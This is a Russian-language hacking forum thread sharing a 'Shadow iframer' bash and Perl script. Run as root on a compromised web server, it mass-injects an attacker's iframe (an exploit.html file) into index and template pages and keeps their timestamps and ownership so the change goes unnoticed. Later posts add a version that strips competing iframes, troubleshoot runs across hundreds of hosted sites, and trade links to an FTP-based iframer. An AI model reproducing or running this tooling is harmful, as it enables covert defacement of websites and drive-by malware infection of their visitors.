Shadow iframer [local]

Discussion in 'Избранное' started by Gh0s7, 3 Jan 2007.

  1. sunb0rn

    sunb0rn Member

    Joined:
    5 Sep 2006
    Messages:
    11
    Likes Received:
    7
    Reputations:
    5
    Вот..:)

    Xорошый код, ифреймится, но я сделал пару фишек, которые мне казались нужными, чтобы получше фреймилось:
    [+] body тэг теперь наxодится, если в нём прописаны какие то данные - например цвет
    [+] не изменяется дата открытия/изменений файла
    [+] не изменяется владелец модифицырованного файла
    [+] пара мелкиx изменений по моему вкусу :)

    Собственно сам код:
    Code:
    #!/bin/bash
    
    if [ $UID != 0 ]; then
      echo "[x]Need r00t :("; exit 1;
    fi
    
    check=`expr length "$1"`
    
    if [ $check == 0 ]; then 
      echo "########################################"
      echo "#Shadow iframer[local]  (c)ode by Gh0s7#"
      echo "#         Moded By Sunb0rn             #"
      echo "########################################"
      echo "#usage: ./sh-iframe.sh [iframe file]   #"
      echo "#       ./sh-iframe.sh exploit.html    #"
      echo "########################################"
      exit 1
    fi
    
    echo -n "[*]Searching for perl..."; which perl
    
    if [ $? != 0 ]; then
      echo "[x]No perl?"; exit
    fi
    
    echo -n "[*]Starting index finder...please wait..."
    
    find / -name "index.htm*" 2> /dev/null > /tmp/found
    find / -name "index.php"  2> /dev/null >> /tmp/found 
    find / -name "index.asp"  2> /dev/null >> /tmp/found 
    find / -name "main.htm*" 2> /dev/null >> /tmp/found 
    find / -name "main.php"  2> /dev/null >> /tmp/found 
    find / -name "main.asp" 2> /dev/null >> /tmp/found 
    find / -name "default.htm*" 2> /dev/null >> /tmp/found
    find / -name "default.php"  2> /dev/null >> /tmp/found
    find / -name "default.asp"  2> /dev/null >> /tmp/found
    
    len=`cat /tmp/found| wc -l`
    
    echo "search complete. Found $len pages"
    echo -n "[*]Generating iframer..."
    
    iframer='\n
    while (<INPUT>) {
      chomp; $file = $_;
      $info = stat($file)     or die "no $file: $!";
      $t_uid = $info->uid;
      $t_gid = $info->gid;
      $t_atime = $info->atime;
      $t_mtime = $info->mtime;
      @res = split (/\//);
      $len = 0;
      $overwrite = 0;
      foreach (@res) { $len++; }
      open (FILE, "<$_") or die;
      open (TMP, ">/tmp/$res[$len-1]") or die;
      open (INJECT, "<$inject") or die;
      sysread (INJECT, $code, 1024);
      close (INJECT);
      while (<FILE>){
        print TMP $_;
        if (/<body/){
    		if (/>/){print TMP $code;$overwrite = 1;}
    	}
      }
      close (TMP);
      close (FILE);
      if ($overwrite == 1){
      system ("./rm /tmp/$res[$len-1].bak 2>/dev/null");
      system ("./mv $file /tmp/$res[$len-1].bak");
      system ("./mv /tmp/$res[$len-1] $file");
      utime $t_atime, $t_mtime, $file;
      system ("chown $t_uid:$t_gid $file");
      }
    }'
    echo -ne "#!/usr/bin/perl -w\nuse File::stat\nopen (INPUT, \"</tmp/found\");\n\$inject=\"$1\";\n" > iframer.pl
    echo -ne "$iframer" >> iframer.pl
    
    echo 'mv $@' > ./mv; chmod +x ./mv
    echo 'rm $@' > ./rm; chmod +x ./rm
    
    echo "complete.Starting iframer"
    perl iframer.pl
    echo "[*] Injecting complete, deleting temp files..."
    rm mv rm
    rm -f /tmp/index* /tmp/main* /tmp/default* /tmp/found iframer.pl
    echo "[*] Finished"
    exit 0
    
    Пока в нём не xватает только, чтобы проверял на присутствие другиx фреймов, удаления или иx замены своим кодом, но это как то в будущем.
     
    1 person likes this.
  2. KSURi

    KSURi tnega AOLPS

    Joined:
    6 Jun 2006
    Messages:
    458
    Likes Received:
    219
    Reputations:
    357
    Имея на машине рута, можно найти куда более интересные применения для нее => вижу смысл юзания только ftp iframer'a
     
  3. TANZWUT

    TANZWUT Крёстный отец :)

    Joined:
    22 Jun 2005
    Messages:
    1,474
    Likes Received:
    716
    Reputations:
    744
    FTP-iframer:
    [Возможности]
    1/ Автоматическая проверка всех аккаунтов перед добавлением
    2/ Гибкая возможность управления добавляемого кода
    3/ Подробный лог добавляемого кода позволяющий эффективней работать скрипту
    4/ Экспорт лога в удобном виде
    5/ Импорт и экспорт ftp аккаунтов согласно определенных форматов
    6/ ftp аккаунты возможно контроллировать визуально - добавлять / удалять лишь по одному
    7/ пароллирование скрипта
    8/ возможность заливать или удалять файлы на все сервера
    new
    9/ интеллектуальная система позволяющас заражать только то что рационально, тем самым не тратя лишние ресурсы вашего сервера и ваше же время. заражаются только те файлы которые чаще всего будут показаны(подробнее читать в Как работает скрипт, ниже)
    10/ красивая, подробная выдача, можно наблюдать за процессом инфицирования


    _http://slil.ru/23882712

    сливаем пока линк работает ;)
     
    _________________________
    3 people like this.
  4. don cicio

    don cicio New Member

    Joined:
    10 Jan 2007
    Messages:
    5
    Likes Received:
    1
    Reputations:
    2
    у меня в логе скрипта появляется следующее

    Code:
    [*]Searching for perl.../usr/local/bin/perl
    [*]Starting index finder...please wait...search complete. Found 12345 pages
    [*]Generating iframer...complete.Starting iframer
    mv: failed to preserve ownership for `/tmp/index.htm.bak': Disk quota exceeded
    mv: failed to preserve ownership for `/tmp/index.html.bak': Disk quota exceeded
    mv: failed to preserve ownership for `/tmp/index.html.bak': Disk quota exceeded
    mv: failed to preserve ownership for `/tmp/index.html.bak': Disk quota exceeded
    mv: failed to preserve ownership for `/tmp/index.html.bak': Disk quota exceeded
    mv: failed to preserve ownership for `/tmp/index.html.bak': Disk quota exceeded
    mv: failed to preserve ownership for `/tmp/index.html.bak': Disk quota exceeded
    mv: failed to preserve ownership for `/tmp/index.html.bak': Disk quota exceeded
    mv: failed to preserve ownership for `/tmp/index.html.bak': Disk quota exceeded
    mv: failed to preserve ownership for `/tmp/index.html.bak': Disk quota exceeded
    mv: failed to preserve ownership for `/tmp/index.html.bak': Disk quota exceeded
    mv: failed to preserve ownership for `/tmp/index.html.bak': Disk quota exceeded
    mv: failed to preserve ownership for `/tmp/index.html.bak': Disk quota exceeded
    mv: failed to preserve ownership for `/tmp/index.htm.bak': Disk quota exceeded
    chown: changing ownership of `/home/qwerty/public_html/index.htm': Disk quota exceeded
    no /usr/local/cpanel/base/webmail/x2/index.html: No such file or directory at iframer.pl line 9, <INPUT> line 869.
    [*] Injecting complete, deleting temp files...
    [*] Finished
    не подскажите что бы это значило?
     
  5. sunb0rn

    sunb0rn Member

    Joined:
    5 Sep 2006
    Messages:
    11
    Likes Received:
    7
    Reputations:
    5
    Пишет, что не может соxранить этот файл, потому что кончилась дисковая квота :), только странно конечно, если такое под рутом случилось:)
     
  6. don cicio

    don cicio New Member

    Joined:
    10 Jan 2007
    Messages:
    5
    Likes Received:
    1
    Reputations:
    2
    еще одна проблема - на сервере с небольшим количеством сайтов (штук 40) все отлично ифреймится буквально за минут 30, даже меньше. Но когда запускаю на сервере где хоститятся скажем 400-500 сайтов, скрипт очень долго ищет индексы (бывало и на 7 часов оставлял) и никакого результата, пока сокс не слетает.
    Может кто подскажет в чем проблема?
     
  7. sunb0rn

    sunb0rn Member

    Joined:
    5 Sep 2006
    Messages:
    11
    Likes Received:
    7
    Reputations:
    5
    Сел, немного (пару дней) поучил язык скрипта перла, понравилось, переделал ифреймер для теx, кто для рута лучшее решение не нашёл, также для теx, кто свой сервер xотят освободить от нежелательныx фреймов. Плюсы и мунусы этого релиза:

    [*] дополнительно нужно указать путь, где искать файлы для фрейма, так как использование "/" по моему не целесобразно
    [+] поиск файлов производится на порядок быстрее защёт използования регулярныx выражений и функции grep
    [+] удаляет все фреймы по маске <iframe + ваш код + ></iframe>, если они не совпадают с кодом записанным в файле фреймов
    [+] вставляет фрейм перед кодом </body>, если в файле не нашёл тэг <body.*>
    [+] старается в одном файле вставлять только один код фрейма (xотябы задумка такая :))
    [+] Удобно для теx, кто вставил свои фреймы, но при этом не потеряли рута, и xотят иx сменить или удалить :)
    [+/-] теоретически может работать как удалитель фреймов, если файл с предпологаемым фреймом пустой (не проверялось)
    [-] вставка фреймов осуществляется медленнее из за исползования функции seek в файле
    [-] тестилось только на cygwin, так что не ручаюсь, если seek на nix'аx не работает аналогично!
    Code:
    #!/bin/bash
    
    if [ $UID != 0 ]; then
      echo "[x]Need r00t :("; exit 1;
    fi
    
    usage () {
      echo "################################################"
      echo "#    Shadow iframer[local]  (c)ode by Gh0s7    #"
      echo "#              Moded By Sunb0rn                #"
      echo "################################################"
      echo "#usage: ./sh-iframe.sh [iframe file] [path]    #"
      echo "#       ./sh-iframe.sh exploit.html  /var/www/ #"
      echo "################################################"
      exit 1
    }
    
    check=`expr length "$1"`
    if [ $check == 0 ]; then 
      usage
    fi
    
    check=`expr length "$2"`
    if [ $check == 0 ]; then 
      usage
    fi
    
    echo -n "[*]Searching for perl..."; which perl
    
    if [ $? != 0 ]; then
      echo "[x]No perl?"; exit
    fi
    
    echo -n "[*]Starting index finder...please wait..."
    
    find $2 -iregex ".*\(php\|php3\|htm\|html\|tpl\|asp\|aspx\|phtm\|phtml\|shtm\|shtml\|cfm\|txt\|jsp\|jhtml\)$"|grep -E -i "index\.|default\.|main\.|news\.|portal\.|header\.|footer\.|forum\.|site\.|theme\.|template\.|frame\.|body\.|home\.|menu\." 2> /dev/null>>/tmp/found
    
    len=`cat /tmp/found| wc -l`
    
    echo "search complete. Found $len pages"
    echo -n "[*]Generating iframer..."
    
    iframer='\n
    while (<INPUT>) {
      chomp; $file = $_;
      $info = stat($file)     or die "no $file: $!";
      $d_uid = $info->uid;
      $d_gid = $info->gid;
      $d_atime = $info->atime;
      $d_mtime = $info->mtime;
      @res = split (/\//);
      $len = 0;
      $overwrite = 0;
      foreach (@res) { $len++; }
      open (FILE, "<$_") or die;
      open (TMP, ">/tmp/$res[$len-1]") or die;
      open (INJECT, "<$inject") or die;
      sysread (INJECT, $code, 1024);
      close (INJECT);
      my $frcount = 0;
      while (<FILE>)
      {
    	print TMP $_;
    	my $linelength = length $_;
    	while (/<iframe.*><\/iframe>/i)
    	{
    		if (/$inject/i) {$frcount ++;}
    		if ((!/$inject/i)||($frcount > 1))
    		{
    			seek(TMP,-$linelength,1);
    			if ($_ =~ /$inject/i) {$frcount --;}
    			$_ =~ s/(<iframe.*><\/iframe>)//i;
    			print TMP $_;
    			$linelength = length $_;
    		}
    	}
    	if ((/<body/i)&&($frcount < 1))
    	{
    		if (/>/)
    		{
    			print TMP $code;
    			$frcount ++;
    			$overwrite = 1;
    		}
    	}
    	if ((/<\/body>/i)&&($overwrite == 0)&&($frcount < 1))
    	{
    		seek(TMP,-$linelength,1);
    		print TMP $code.$_;
    		$frcount ++;
    		$overwrite = 1;
    	}
      }
      close (FILE);
      close (TMP);
      if ($overwrite == 1)
      {
    	  system ("./rm /tmp/$res[$len-1].bak 2>/dev/null");
    	  system ("./mv $file /tmp/$res[$len-1].bak");
    	  system ("./mv /tmp/$res[$len-1] $file");
    	  utime $d_atime, $d_mtime, $file;
    	  system ("chown $d_uid:$d_gid $file");
      }
    }'
    echo -ne "#!/usr/bin/perl -w\nuse File::stat\nopen (INPUT, \"</tmp/found\");\n\$inject=\"$1\";" > iframer.pl
    echo -ne "$iframer" >> iframer.pl
    
    echo 'mv $@' > ./mv; chmod +x ./mv
    echo 'rm $@' > ./rm; chmod +x ./rm
    
    echo "complete.Starting iframer"
    perl iframer.pl
    echo "[*] Injecting complete, deleting temp files..."
    rm mv rm
    rm -f /tmp/* iframer.pl
    echo "[*] Finished"
    exit 0
    
    Кстати - если в пути файла порбелы будут, то будет выскакивать ошыбка, что файл не существует , решение неискал...

    P.S. извиняюсь за русский - не родной :)
    P.P.S. при copy-->paste удаляйте лишние пробелы,а также о багаx пишите тут или в личку!
     
    1 person likes this.
  8. cantrabas

    cantrabas New Member

    Joined:
    15 Dec 2007
    Messages:
    6
    Likes Received:
    0
    Reputations:
    0
    кто объяснит(до делает)

    по про бывал последний вариант, -что-то он не работает
     
  9. _Sniper_

    _Sniper_ Banned

    Joined:
    21 Jul 2007
    Messages:
    409
    Likes Received:
    147
    Reputations:
    -17
    Выложите ftp инфреймер пожалуйста.
     
    1 person likes this.
  10. satana8920

    satana8920 Палач Античата

    Joined:
    22 Sep 2006
    Messages:
    396
    Likes Received:
    138
    Reputations:
    6
    угу просим фтп инфреймер
     
    1 person likes this.
  11. Piflit

    Piflit Banned

    Joined:
    11 Aug 2006
    Messages:
    1,249
    Likes Received:
    585
    Reputations:
    31
    genom-- продавал
     
    3 people like this.
  12. SQL

    SQL Elder - Старейшина

    Joined:
    15 Feb 2006
    Messages:
    62
    Likes Received:
    46
    Reputations:
    -7
    от генома фтп ифреймер/чекер

    Скачать
     
    1 person likes this.
  13. KemSucks

    KemSucks Banned

    Joined:
    6 Jan 2008
    Messages:
    10
    Likes Received:
    10
    Reputations:
    -5
    подскажите как его сделать автоматом через крон?
     
    #33 KemSucks, 3 Mar 2008
    Last edited: 21 Apr 2008
    1 person likes this.
  14. genom--

    genom-- Elder - Старейшина

    Joined:
    9 Jul 2006
    Messages:
    668
    Likes Received:
    416
    Reputations:
    288
    пока не убрал #!/bin/bash ругался на bad ineterpretator
    bash: ./def.sh: /bin/bash^M: bad interpreter: No such file or directory
     
    2 people like this.
  15. sedoy_xxx

    sedoy_xxx Elder - Старейшина

    Joined:
    5 Jul 2006
    Messages:
    244
    Likes Received:
    41
    Reputations:
    -1
    перезалейте ftp ифреймер пожалуйста
     
  16. IIAHbI4

    IIAHbI4 Banned

    Joined:
    24 Aug 2006
    Messages:
    276
    Likes Received:
    331
    Reputations:
    11
    d1ez_FTP_MoneyMaker и ему подобный чем не устраивает? кому нужно в ПМ.
     
    15 people like this.
  17. n0ne

    n0ne Elder - Старейшина

    Joined:
    1 Jan 2007
    Messages:
    542
    Likes Received:
    284
    Reputations:
    -56
    IIAHbI4, диезовский и подобные ему фреймеры - софт совершенно другого назначения. Как ты собираешься юзать того же диеза, если ты, скажем, порутал тачку и тебе нужно всё профреймить, пока не спалили? Только не предлагай ставить сниффер на фтп пассы или что-то подобное))

    По делу - пытаюсь заюзать на тачке под рутом - unexpected end of file на 73 строке. В чем дело? 0_о
     
    2 people like this.
  18. PandoraBox

    PandoraBox Elder - Старейшина

    Joined:
    6 May 2007
    Messages:
    262
    Likes Received:
    176
    Reputations:
    7
    http://forum.antichat.ru/thread58971.html
     
    #38 PandoraBox, 26 Jul 2008
    Last edited: 26 Jul 2008
  19. n0ne

    n0ne Elder - Старейшина

    Joined:
    1 Jan 2007
    Messages:
    542
    Likes Received:
    284
    Reputations:
    -56
    Всё ещё нужен дельный совет =\

    з.ы. Если кто-то знает другой локальный фреймер - тож будет интересно :)
     
    #39 n0ne, 27 Jul 2008
    Last edited: 27 Jul 2008
  20. IIAHbI4

    IIAHbI4 Banned

    Joined:
    24 Aug 2006
    Messages:
    276
    Likes Received:
    331
    Reputations:
    11
    открой и посмотри, там анти кидис стоит, синтаксис проверь, запьтую, скобку, кавычку или в readme почитай.
    + 777 на папку все диры и файлы выстави, если дедик на винде то 777 стоит по дефолту.